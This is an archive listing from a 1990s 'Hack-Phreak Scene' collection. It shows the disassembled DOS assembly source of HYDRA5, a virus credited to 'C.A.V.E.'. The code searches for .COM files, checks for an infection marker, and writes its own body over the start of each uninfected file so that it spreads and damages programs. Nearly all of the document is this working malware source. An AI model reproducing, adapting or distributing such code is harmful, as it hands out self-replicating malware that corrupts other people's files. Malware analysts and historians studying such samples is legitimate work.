home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HYDRA5.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  4KB  |  190 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    HYDRA5                         ██
  7. ;██                                         ██
  8. ;██      Created:   21-Aug-91                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██      Copyright (c)                                 ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. data_1e        equ    23Eh
  15. psp_cmd_size    equ    80h
  16. data_17e    equ    187h
  17. data_18e    equ    18Ah
  18.  
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.  
  22.  
  23.         org    100h
  24.  
  25. hydra5        proc    far
  26.  
  27. start:
  28.         jmp    loc_1
  29.         pop    cx
  30.         inc    sp
  31.         add    [bx+si],al
  32. data_4        db    'HyDra-5   Beta - Not For Release'
  33.         db    '. *.CO?'
  34.         db    0
  35. data_7        dw    0, 8B39h
  36. data_9        dw    0
  37. data_10        db    0
  38.         db    29 dup (0)
  39. data_11        db    0
  40.         db    13 dup (0)
  41. copyright    db    'Copyright (c)'
  42.         db    '  1991 by C.A.V.E.  '
  43. loc_1:
  44.         push    ax
  45.         mov    ax,cs
  46.         add    ax,1000h
  47.         xor    di,di            ; Zero register
  48.         mov    cx,187h
  49.         mov    si,100h
  50.         mov    es,ax
  51.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  52.         mov    ah,1Ah
  53.         mov    dx,offset data_10
  54.         int    21h            ; DOS Services  ah=function 1Ah
  55.                         ;  set DTA(disk xfer area) ds:dx
  56.         mov    ah,4Eh            ; 'N'
  57.         mov    dx,offset data_4+22h    ; ('*')
  58.         int    21h            ; DOS Services  ah=function 4Eh
  59.                         ;  find 1st filenam match @ds:dx
  60.         jc    loc_5            ; Jump if carry Set
  61. loc_2:
  62.         mov    ah,3Dh            ; '='
  63.         mov    al,2
  64.         mov    dx,offset data_11
  65.         mov    al,2
  66.         int    21h            ; DOS Services  ah=function 3Dh
  67.                         ;  open file, al=mode,name@ds:dx
  68.         mov    bx,ax
  69.         push    es
  70.         pop    ds
  71.         mov    ax,3F00h
  72.         mov    cx,0FFFFh
  73.         mov    dx,data_17e
  74.         int    21h            ; DOS Services  ah=function 3Fh
  75.                         ;  read file, bx=file handle
  76.                         ;   cx=bytes to ds:dx buffer
  77.         add    ax,187h
  78.         mov    cs:data_9,ax
  79.         cmp    word ptr ds:data_18e,4459h
  80.         jne    loc_3            ; Jump if not equal
  81.         mov    ah,3Eh            ; '>'
  82.         int    21h            ; DOS Services  ah=function 3Eh
  83.                         ;  close file, bx=file handle
  84.         push    cs
  85.         pop    ds
  86.         mov    ah,4Fh            ; 'O'
  87.         int    21h            ; DOS Services  ah=function 4Fh
  88.                         ;  find next filename match
  89. ;*        jc    loc_6            ; Jump if carry Set
  90.         db     72h, 54h
  91.         jmp    short loc_2
  92. loc_3:
  93.         xor    cx,cx            ; Zero register
  94.         mov    dx,cx
  95.         mov    ax,4200h
  96.         int    21h            ; DOS Services  ah=function 42h
  97.                         ;  move file ptr, bx=file handle
  98.                         ;   al=method, cx,dx=offset
  99.         jc    loc_4            ; Jump if carry Set
  100.         mov    ah,40h            ; '@'
  101.         xor    dx,dx            ; Zero register
  102.         mov    cx,cs:data_9
  103.         int    21h            ; DOS Services  ah=function 40h
  104.                         ;  write file  bx=file handle
  105.                         ;   cx=bytes from ds:dx buffer
  106. loc_4:
  107.         mov    ah,3Eh            ; '>'
  108.         int    21h            ; DOS Services  ah=function 3Eh
  109.                         ;  close file, bx=file handle
  110.         push    cs
  111.         pop    ds
  112. loc_5:
  113.         mov    ah,1Ah
  114.         mov    dx,psp_cmd_size
  115.         int    21h            ; DOS Services  ah=function 1Ah
  116.                         ;  set DTA(disk xfer area) ds:dx
  117.         jmp    short loc_7
  118.         nop
  119.         inc    word ptr [bx+si]
  120.         add    [bx+si],al
  121.         add    [bx+si],al
  122.         pop    ds
  123.         add    [bx],bh
  124.         aas                ; Ascii adjust
  125.         aas                ; Ascii adjust
  126.         aas                ; Ascii adjust
  127.         aas                ; Ascii adjust
  128.         aas                ; Ascii adjust
  129.         aas                ; Ascii adjust
  130.         aas                ; Ascii adjust
  131.         inc    bp
  132.         pop    ax
  133.         inc    bp
  134.         add    [bx+si],al
  135.         add    [bx+si],al
  136.         add    [bx+si],al
  137.         add    [bx+si],al
  138.         add    [bx+si],al
  139.         add    [bx+si],al
  140.         add    [bx+si],al
  141.         add    [bx+si],al
  142.         add    [bx+si],al
  143.         add    [bx+si],al
  144.         add    [bx+si],al
  145.         add    [bx+si],al
  146.         add    ds:data_1e[bx+si],bh
  147.         push    ax
  148.         push    cs
  149.         pushf                ; Push flags
  150.         mov    cl,13h
  151.         mov    dx,201h
  152.         push    cs
  153.         pop    ds
  154.         jmp    dword ptr data_14
  155.         mov    ah,4Ch            ; 'L'
  156.         int    21h            ; DOS Services  ah=function 4Ch
  157.                         ;  terminate with al=return code
  158. data_14        dd    000C0h
  159.         db    0CDh, 20h
  160. loc_7:
  161.         xor    di,di            ; Zero register
  162.         mov    si,265h
  163.         mov    cx,22h
  164.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  165.         pop    bx
  166.         mov    cs:data_7,0
  167.         mov    word ptr cs:data_7+2,es
  168.         pop    bx
  169.         jmp    dword ptr cs:data_7
  170.         push    ds
  171.         pop    es
  172.         mov    cx,0FFFFh
  173.         mov    si,287h
  174.         mov    di,100h
  175.         sub    cx,si
  176.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  177.         mov    word ptr cs:[100h],100h
  178.         mov    word ptr cs:[102h],ds
  179.         mov    ax,bx
  180.         jmp    dword ptr cs:[100h]
  181.         int    20h            ; DOS program terminate
  182.  
  183. hydra5        endp
  184.  
  185. seg_a        ends
  186.  
  187.  
  188.  
  189.         end    start
  190.